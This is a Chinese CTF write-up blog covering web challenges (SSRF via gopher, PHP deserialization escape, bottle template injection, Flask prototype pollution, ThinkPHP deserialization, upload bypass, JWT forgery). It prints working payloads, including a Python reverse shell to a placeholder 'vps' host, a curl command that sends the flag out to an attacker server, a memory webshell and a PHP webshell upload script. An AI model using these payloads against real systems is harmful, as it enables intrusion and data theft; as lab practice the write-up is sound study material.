                    <div class="card-header">
                        <h3>Upload Avatar</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST" enctype="multipart/form-data">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="avatar" class="form-label">Avatar</label>
                                <input type="file" class="form-control" id="avatar" name="avatar" required>
                            </div>
                            <button type="submit" class="btn btn-danger w-100">Upload</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/app.py')
def download_source():
    return send_file(__file__, as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

就是看Manage路由和Gopher路由

manage路由要求是本地访问,cmd参数可以用来执行命令。

gopher路由有curl刚好可以访问内网。

配合gopher协议打ssrf即可

image-20250310193424743

注意这里每一行都是有换行的

然后配合gopher协议即可

payload:
url/Gopher?url=gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A

10.Escape!

看源码,可以发现

image-20250311173509458

当isadmin为true时可以写入文件内容。这里是考的用base64绕过死亡exit

如何让isadmin为true?。这题不知道secretkey是没办法伪造token的。

我们看到下面的代码:

image-20250311173726085

登录的时候会序列化用户信息并且经过waf文件过滤

image-20250311173828654

这个waf明显存在反序列化逃逸。

我们想要让user类序列化后为

O:4:"User":2:{s:8:"username";s:3:"asd";s:7:"isadmin";b:1;}

这里看出要逃逸最后的21个字符。那就构造每一个&&能逃逸3个。那就来7个&&

所以我们只要注册的用户名为

&&&&&&&&&&&&&&asd";s:7:"isadmin";b:1;}

即可

注册完登录进去后,写文件即可

image-20250311175805277

image-20250311175824545

11.Message in a Bottle(复现)

经典留言板,以为是xss。

源码:

def waf(message):
    return message.replace("{", "").replace("}", "")

@app.route('/')
def index():
    return template(handle_message(messages))

@app.route('/Clean')
def Clean():
    global messages
    messages = []
    return '<script>window.location.href="/"</script>'

@app.route('/submit', method='POST')
def submit():
    message = waf(request.forms.get('message'))
    messages.append(message)
    return template(handle_message(messages))

if __name__ == '__main__':
    run(app, host='localhost', port=9000)

模板渲染的函数,还用了bottle库。

bottle库的渲染函数可以嵌入python代码。具体见:

https://www.osgeo.cn/bottle/stpl.html#simpletemplate-api

那就可以打ssti了。这题无回显,我们反弹shell

message=%0A%import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);#

12.Message in a Bottle plus(复现)

加了过滤,不出网,官方wp还是打内存马。

和上面那个相比加了过滤,wp是把它转换成字符串来绕过ast检测。

exp:

import requests
def exp(url):
    payload="""
'''
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.g
et('lalala')).read())
'''
    """
    data = {"message":payload}
    print(payload)
    re=requests.post(url+"submit",data=data)
    print(re.text)
if __name__=="__main__":
    url="http://node4.anna.nssctf.cn:28254/"
    exp(url)

2024

1.ezzz_unserialize

 <?php
/**
 * @Author: hey
 * @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
 * Have fun and Good luck!!!
 */
error_reporting(0);
class Sakura{
    public $apple;
    public $strawberry;
    public function __construct($a){
        $this -> apple = $a;
    }
    function __destruct()
    {
        echo $this -> apple;
    }
    public function __toString()
    {
        $new = $this -> strawberry;
        return $new();
    }

}

class NoNo {
    private $peach;

    public function __construct($string) {
        $this -> peach = $string;
    }

    public function __get($name) {
        $var = $this -> $name;
        $var[$name]();
    }
}

class BasaraKing{
    public $orange;
    public $cherry;
    public $arg1;
    public function __call($arg1,$arg2){
        $function = $this -> orange;
        return $function();
    }
    public function __get($arg1)
    {
        $this -> cherry -> ll2('b2');
    }

}

class UkyoTachibana{
    public $banana;
    public $mangosteen;

    public function __toString()
    {
        $long = @$this -> banana -> add();
        return $long;
    }
    public function __set($arg1,$arg2)
    {
        if($this -> mangosteen -> tt2)
        {
            echo "Sakura was the best!!!";
        }
    }
}

class E{
    public $e;
    public function __get($arg1){
        array_walk($this, function ($Monday, $Tuesday) {
            $Wednesday = new $Tuesday($Monday);
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>');
            }
        });
    }
}

class UesugiErii{
    protected $coconut;

    protected function addMe() {
        return "My time with Sakura was my happiest time".$this -> coconut;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
class Heraclqs{
    public $grape;
    public $blueberry;
    public function __invoke(){
        if(md5(md5($this -> blueberry)) == 123) {
            return $this -> grape -> hey;
        }
    }
}

class MaiSakatoku{
    public $Carambola;
    private $Kiwifruit;

    public function __set($name, $value)
    {
        $this -> $name = $value;
        if ($this -> Kiwifruit = "Sakura"){
            strtolower($this-> Carambola);
        }
    }
}

if(isset($_POST['GHCTF'])) {
    unserialize($_POST['GHCTF']);
} else {
    highlight_file(__FILE__);
}

简单的反序列化:

分析pop链:

Sakura{_destruct()}-->Sakura{_toString()}-->Heraclqs{_invoke()}-->E{_get()}

exp:

<?php
class Sakura{
    public $apple;
    public $strawberry;
}
class E{
    public $SplFileObject="/1_ffffffflllllagggggg";
}
class Heraclqs{
    public $grape;
    public $blueberry="uF73I437TM";  
}
$E=new E();
$H=new Heraclqs();
$S=new Sakura();
$S->apple=$S; 
$S->apple->strawberry=$H;
$H->grape=$E;
echo serialize($S);

2.Po11uti0n~~~

原型链污染


import uuid
from flask import Flask, request, session
from secret import black_list
import json

'''
  @Author: hey
  @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
  * Th3_w0r1d_of_c0d3_1s_be@ut1ful_ but_y0u_c@n’t_c0mp1l3_love.
'''

app = Flask(__name__)
#随机生成key
app.secret_key = str(uuid.uuid4())

#定义了类似waf的函数
def cannot_be_bypassed(data):
    #循环black_list列表
    for i in black_list:
        #判断如果黑名单里值在用户提交的数据里就返回False
        if i in data:
            return False
    return True

#接收了两个参数,src和dst
def magicallllll(src, dst):
    #判断dst是否具有__getitem__属性,该属性用于实现对象的索引访问。当对象具有该属性时,可以通过访问列表的形式访问对象的属性
    if hasattr(dst, '__getitem__'):
        #循环src
        for key in src:
            #遍历src,如果src中的值是字典类型,则遍历src的键
            if isinstance(src[key], dict):
                #如果对应的数值依旧是字典类型,并且在dst中存在相同的键且对应的值也是字典类型,就递归调用magicallllll函数
                 if key in dst and isinstance(src[key], dict):
                    magicallllll(src[key], dst[key])
                 else:
                     #如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
                     dst[key] = src[key]
            else:
                #如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
                dst[key] = src[key]
    else:
        #如果dst不具有__getitem__属性,就会进入到这个里面
        #针对src生成键值对
        for key, value in src.items() :
            #如果dst存在相同键并且对应的值是字典类型,就递归调用magicallll函数
            if hasattr(dst,key) and isinstance(value, dict):
                magicallllll(value,getattr(dst, key))
            #否则将src的键值赋值给dst中的属性
            else:
                setattr(dst, key, value)

class user():
    #初始化username和password
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        #判断用户提交的username和password是否和类中存储的用户名和密码相同
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False
#定义一个空列表
Users = []

#用户的注册函数
@app.route('/user/register',methods=['POST'])
def register():
    #判断用户提交的数据是否为空
    if request.data:
        try:
            #检查请求的数据是否包含了恶意的数据
            if not cannot_be_bypassed(request.data):
                return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"
            #将请求的数据转换成了json格式
            data = json.loads(request.data)
            #判断username和password是否在转换后的json数据里
            if "username" not in data or "password" not in data:
                return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"

            User = user()
            #调用magicallll函数,将解析后键值对形式的数据data赋值到User对象中
            magicallllll(data, User)
            #然后将注册成功后的用户信息存储到Users列表中
            Users.append(User)
        except Exception:
            return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
        return "Congratulations,The username and password is correct,Register Success!!!"
    else:
        return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"

@app.route('/user/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "The username or password is incorrect,Login Failed,Please log in again!!!"
            for user in Users:
                if user.cannot_be_bypassed(data):
                    session["username"] = data["username"]
                    return "Congratulations,The username and password is correct,Login Success!!!"
        except Exception:
            return "The username or password is incorrect,Login Failed,Please log in again!!!"
    return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

我们直接篡改环境变量的位置:

我们要发送

{"username":"abc","password":"123","__class__":{"check":{"__globals__":{"__file__":"/proc/1/environ"}}}}

因为有黑名单,unicode编码绕过

最终payload:

{"username":"123","password":"123","u005fu005fu0063u006cu0061u0073u0073u005fu005f":{"u0063u0068u0065u0063u006b":{"u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f":{"u005fu005fu0066u0069u006cu0065u005fu005f":"u002fu0070u0072u006fu0063u002fu0031u002fu0065u006eu0076u0069u0072u006fu006e"}}}}

随后访问根路由即可

image-20250312170407810

3.CMS直接拿下

扫一下目录发现源码泄露www.zip

访问/api/users。泄露了账号密码。

去admin/login登录

<?php
namespace appcontroller;

use appmodelAdminUser;
use appmodelDatas;
use appmodelStudent;
use appvalidateUser;
use thinkexceptionValidateException;
use thinkfacadeDb;
use thinkfacadeSession;
use thinkRequest;

class Api{
    public function login(Request $request)
    {
        $post = $request->post();

        try{
            validate(User::class)->check($post);
        }
        catch (ValidateException $e) {
            return json(["msg"=>"账号或密码错误!","code"=>200,"url"=>""]);
        }
        $data = AdminUser::where('username',$post['username'])->findOrEmpty();

        if(!$data->isEmpty() && $data['password'] === $post['password']){
            $userinfo = [
                "id"=>$data['id'],
                "username"=>$data['username'],
                "password"=>$data['password'],
            ];
            Session::set('userinfo',$userinfo);
            return json(["msg"=>"登陆成功!","code"=>200,"url"=>"/admin/index"]);
        }
        else{
            return json(["msg"=>"账号或密码错误!","code"=>404,"url"=>"/admin/login"]);
        }
    }
    public function logout()
    {
//        退个屁,不对接前端了
        Session::delete('userinfo');
        return redirect('/admin/login');
    }
    public function list(Request $request)
    {
        $userinfo = Session::get('userinfo');
        if(is_null($userinfo)){
            return redirect('/admin/login');
        }
        else {
            $db = new Datas;
            $page = $request->get('page',1);
            $limit = $request->get('limit',10);
            $where = [];
            $datas = $db->where($where)->field('serialize')->page($page,$limit)->select();
            $count = $db->where($where)->count();

            $lists = [];
            foreach ($datas as $data){
                $data = unserialize($data['serialize']);
                $lists[] = [
                    "id" => $data->id,
                    "name" => $data->name,
                    "score1" => $data->score1,
                    "score2" => $data->score2,
                    "score3" => $data->score3,
                    "average" => $data->average];
            }
            return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]);
        }
    }
    public function update(Request $request)
    {
        $userinfo = Session::get('userinfo');
        if(is_null($userinfo)){
            return redirect('/admin/login');
        }
        else{
            $data = $request->post('data');
            // if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){
            //     return json(["code"=>404,"msg"=>"你想干嘛!!!"]);
            // }
//            随便吧,无所谓了,不想再编程下去了
            $db = new Datas;
            $result = $db->save(['serialize'=>$data]);

            return json(["code"=>200,"msg"=>"修改成功"]);
        }
    }

//    不想再编程下去了,直接丢一个序列化的接口,省事
    public function seria(Request $request)
    {
        $userinfo = Session::get('userinfo');
        if(is_null($userinfo)){
            return redirect('/admin/login');
        }
        else{
            $seria =  serialize(new Student(
                $request->post('id',2),
                $request->post('name','李四'),
                $request->post('score1',91),
                $request->post('score2',92),
                $request->post('score3',93)
            ));
            return json(["code"=>200, "data"=>$seria, "msg"=>"获取成功"]);
        }
    }
    public function users()
    {
        $db = new AdminUser;
        $datas = $db->select();
        return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
    }
//    public function add()
//    {
//        $userinfo = Session::get('userinfo');
//        if(is_null($userinfo)){
//            return redirect('/admin/login');
//        }
//        $db = new Datas;
//        $seria = serialize(new Student(3,'王五',94,100,100));
//        $data = ['serialize'=>$seria];
//        $result = $db->allowField(['serialize'])->save($data);
//    }
//    public function test(Request $request)
//    {
//        $post = $request->post();
//
//        unserialize($post['payload']);
//    }
}

反序列化漏洞

exp:

<?php
namespace thinkmodelconcern;
trait Conversion
{
}

trait Attribute
{
    private $data = ["ten" => "curl http://xxx.xxxx.xxxx.xxxx:8989/ -d `cat /flag`"];
    private $withAttr = ["ten" => "system"];
}

namespace think;
abstract class Model{
    use modelconcernAttribute;
    use modelconcernConversion;
    private $lazySave = true;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = '';

}

namespace thinkmodel;
use thinkModel;

class Pivot extends Model
{
    function __construct($obj = '')
    {
        $this->name = $obj;
    }
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

在修改学生信息的页面抓包修改data:

image-20250312180530210

放包刷新页面即可。

之后即可监听到

image-20250312180334413

4.理想国

访问后是一个 Swagger API 文档,三个路由

/api-base/v0/register
/api-base/v0/login
/api-base/v0/reseach

先利用注册路由注册一个用户

{"username": "123",
"password": "123"}

然后登录路由登录后拿到token

image-20250312184043976

带着token去拿源码

image-20250312184113092

源码如下:

# coding=gbk
import json
from flask import Flask, request, jsonify, send_file, render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD'] = True
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

response0 = {'code': 0, 'message': 'failed', 'result': None}
response1 = {'code': 1, 'message': 'success', 'result': current_time}
response2 = {'code': 2, 'message': 'Invalid request parameters', 'result': None}

def auth(func):
    @wraps(func)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return 'Invalid token', 401
        try:
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == User.username and payload['password'] == User.password:
                return func(*args, **kwargs)
            else:
                return 'Invalid token', 401
        except:
            return 'Something error?', 500
    return decorated

def check(func):
    @wraps(func)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return 'Invalid token', 401
        try:
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == "Plato" and payload['password'] == "ideal_state":
                return func(*args, **kwargs)
            else:
                return 'You are not a sage. You cannot enter the ideal state.', 401
        except:
            return 'Something error?', 500
    return decorated

@app.route('/', methods=['GET'])
def index():
    return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/enterIdealState', methods=['GET'])
@check
def getflag():
    flag = os.popen("/readflag").read()
    return flag

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.json['username']
        if username == "Plato":
            return 'Your wisdom is not sufficient to be called a sage.', 401
        password = request.json['password']
        User.setUser(username, password)
        token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
        User.setToken(token)
        return jsonify(response1)
    return jsonify(response2), 400

@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        try:
            token = User.token
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == username and payload['password'] == password:
                response = jsonify(response1)
                response.set_cookie('token', token)
                return response
            else:
                return jsonify(response0), 401
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401
    return jsonify(response2), 400

@app.route('/api-base/v0/logout')
def logout():
    response = jsonify({'message': 'Logout successful!'})
    response.delete_cookie('token')
    return response

@app.route('/api-base/v0/search', methods=['POST', 'GET'])
@auth
def api():
    if request.args.get('file'):
        try:
            with open(request.args.get('file'), 'r') as file:
                data = file.read()
            return render_template_string(data)

        except FileNotFoundError:
            return 'File not found', 404
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401
        except Exception:
            return 'something error?', 500
    else:
        return jsonify(response2)

class MemUser:
    def setUser(self, username, password):
        self.username = username
        self.password = password

    def setToken(self, token):
        self.token = token

    def __init__(self):
        self.username = "admin"
        self.password = "password"
        self.token = jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
    User = MemUser()
    app.run(host='0.0.0.0', port=8080)

只要知道secret_key就能伪造jwt,从而读取flag

这个key在环境变量里

image-20250312185717292

伪造jwt后去访问/enterIdealState即可

5.PermissionDenied

 <?php

function blacklist($file){
    $deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    foreach ($deny_ext as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $filecontent = file_get_contents($_FILES['file']['tmp_name']);
    if(blacklist($filename)){
        file_put_contents($filename, $filecontent);
        echo "Success!!!";
    } else {
        echo "Hacker!!!";
    }
} else{
    highlight_file(__FILE__);
} 

file_put_content函数有一个文件解析的漏洞

当上传123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php

利用脚本上传一句话木马:

import requests

url = "http://node6.anna.nssctf.cn:20567/"  # 目标URL
file = {
    "file": ("shell.php%2f.", open('D:/buuctf/shell.php', 'rb'))  # 文件名和打开的文件
}
try:
    res = requests.post(url=url, files=file)  # 发送POST请求
    print(res.text)  # 打印服务器响应
except Exception as e:
    print("发生错误:", e)

然后蚁剑连接。发现无法执行命令插件绕过即可

image-20250312192259587

选择这个模式即可。

最后提权很简单,直接找到suid权限的文件执行即可

image-20250312192345546

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇